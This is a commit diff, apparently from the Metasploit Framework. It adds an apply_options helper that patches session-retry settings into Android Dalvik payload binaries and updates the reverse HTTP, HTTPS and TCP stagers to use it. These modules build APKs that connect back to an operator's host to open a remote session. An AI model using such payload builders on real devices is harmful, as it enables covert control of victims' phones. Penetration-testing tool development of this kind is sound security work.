add support for SessionRetryTotal and SessionRetryWait on Android

bug/bundler_fix
Tim 2015-05-17 18:53:11 +01:00
parent 84060bbaeb
commit e7c8a3b56c
4 changed files with 11 additions and 18 deletions

View File

@ -31,6 +31,11 @@ module Msf::Payload::Dalvik
[str.length].pack("N") + str
end
def apply_options(classes)
string_sub(classes, 'TTTT ', "TTTT" + datastore['SessionRetryTotal'].to_s)
string_sub(classes, 'SSSS ', "SSSS" + datastore['SessionRetryWait'].to_s)
end
def string_sub(data, placeholder="", input="")
data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length))
end

View File

@ -24,11 +24,6 @@ module Metasploit3
'Handler' => Msf::Handler::ReverseHttp,
'Stager' => {'Payload' => ""}
))
register_options(
[
OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10])
], self.class)
end
def generate_jar(opts={})
@ -40,7 +35,8 @@ module Metasploit3
classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'})
string_sub(classes, 'ZZZZ ', "ZZZZhttp://" + host + ":" + port)
string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount']
apply_options(classes)
jar.add_file("classes.dex", fix_dex_header(classes))
files = [

View File

@ -24,11 +24,6 @@ module Metasploit3
'Handler' => Msf::Handler::ReverseHttps,
'Stager' => {'Payload' => ""}
))
register_options(
[
OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10])
], self.class)
end
def generate_jar(opts={})
@ -40,7 +35,8 @@ module Metasploit3
classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'})
string_sub(classes, 'ZZZZ ', "ZZZZhttps://" + host + ":" + port)
string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount']
apply_options(classes)
jar.add_file("classes.dex", fix_dex_header(classes))
files = [

View File

@ -26,11 +26,6 @@ module Metasploit3
'Handler' => Msf::Handler::ReverseTcp,
'Stager' => {'Payload' => ""}
))
register_options(
[
OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10])
], self.class)
end
def generate_jar(opts={})
@ -40,7 +35,8 @@ module Metasploit3
string_sub(classes, 'XXXX127.0.0.1 ', "XXXX" + datastore['LHOST'].to_s) if datastore['LHOST']
string_sub(classes, 'YYYY4444 ', "YYYY" + datastore['LPORT'].to_s) if datastore['LPORT']
string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount']
apply_options(classes)
jar.add_file("classes.dex", fix_dex_header(classes))
files = [